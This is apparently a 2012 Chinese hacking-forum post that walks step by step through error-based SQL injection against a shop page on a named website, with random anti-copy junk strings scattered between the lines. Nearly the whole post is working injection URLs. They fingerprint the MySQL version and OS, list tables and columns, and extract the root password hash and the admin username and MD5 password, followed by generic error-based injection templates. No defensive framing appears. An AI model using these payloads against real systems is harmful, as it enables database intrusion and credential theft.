找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2248|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 , o! }+ P- l3 e& P' f- d% V1 x
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%238 w7 ]  G) E/ p: k- i/ c7 T" A
* ~. y( M* q/ X# @  W) _( t' P
判断系统" j$ W& Z8 c3 F% ~  r* Z3 k2 {) j

6 O# L/ D; R! k. lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( K+ h2 O+ \1 w7 k
6 F6 Y; p9 I/ `' S+ F
$ d% r8 k% F9 P# {5 G8 l- {3 t! Z2 K+ o  e: g9 G4 ^  d
当前 user()
0 h8 d. N/ z+ n) ~+ E* V: d
+ u6 P& F: T  E% W; Vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* g! `7 n. q/ }* v: m" A4 U$ u4 _$ J/ K& K2 n

3 h" w9 J. e- A$ _6 I& I& y
: F" j- a5 B# \* R当前 database()
3 r$ |* _' O4 C0 o5 I' M+ M, `http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23! x3 n1 K9 L% W/ ], N
: @4 w# o' s7 A1 I

' g/ S" M4 w, x- b2 G. |# W$ q, g+ g+ @$ P
  K2 P1 o& }/ D  H3 p  M
root hash6 I) m4 ]  Z; n9 u4 H% @
7 \  E! {3 V& A# o; n
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 q; c1 W" ^/ K: t' b3 K" C2 ]) X5 S: Y1 l
1 A& s1 @9 J8 j1 \( H$ Y: V
+ v: N  v# k2 q) B  G. b4 S
当前 数据库表名/ U/ h* T% q& A, L- C6 s! a* X1 B

) |- F8 m/ R0 K, i( r$ Mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ I  Q4 K9 u' A8 p9 m
! \2 h- B* f* e0 g2 O: g
. b0 [5 X0 _+ y$ ~
4 Y( L1 G( _( \3 _' P, @1 Z. N当前 数据库 user_name 字段
' m3 Z( b8 W; P; v4 c. L
% E4 S3 h/ H/ F" L% bhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 D& I9 `% n, r/ ?% c% `! c% X- s( b, L( ^5 Q1 r
当前 数据库 字段 password; ]% b; J2 l1 z9 f  w
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) z5 q, {6 C, j/ C7 d
' F0 d8 u8 o8 }9 `: h. m9 p2 @8 Z0 p) n7 |( c# W

1 f  ~$ y6 J' D2 }; M6 V  D获得 admin passwd(md5)
: @' ^/ L1 _) M& o4 j- z3 ^4 i0 O% Y1 E/ p" J

+ Y1 P" N, L$ A' khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ R: j0 `# ~$ n" P
  h* V) T8 @* X9 q; W. T3 Z  ?% x- B+ ~! r报错注射' J1 r9 ]. f% g  o. c9 H' {  B
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
: `8 t* N0 q* b2 H- I
" Y* L( Y" f6 M& f! c; oSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
0 h2 j6 l$ i7 e$ a: c" Q( |2 @4 ?- a/ P7 I# A% v; ?
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表